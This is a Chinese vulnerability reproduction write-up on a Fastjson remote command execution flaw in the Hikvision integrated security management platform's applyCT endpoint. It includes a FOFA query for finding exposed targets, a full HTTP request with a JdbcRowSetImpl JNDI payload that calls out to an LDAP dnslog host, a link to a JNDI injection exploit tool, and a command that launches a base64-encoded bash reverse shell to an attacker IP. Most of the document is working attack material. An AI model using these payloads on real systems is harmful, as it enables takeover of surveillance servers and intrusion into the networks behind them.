HIKVISION 综合安防管理平台 applyCT Fastjson远程命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

0x01 阅读须知

0x02 漏洞描述

海康威视综合安防管理平台,可以对接入的视频监控点集中管理,实现统一部署、统一配置、统一管理和统一调度。海康威视综合安防管理平台存在Fastjson远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

0x03 漏洞复现

fofa：app=”HIKVISION-综合安防管理平台”

1.使用POC执行ldap访问dnslog命令，得到回显

POST /bic/ssoService/v1/applyCT HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 200

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://6setlb.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}

2.也可使用JNDI利用工具进行进一步利用，如下

1.工具下载:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

2.开启rmi/jndi服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bash反弹shell脚本base64编码}|{base64,-d}|{bash,-i}" -A IP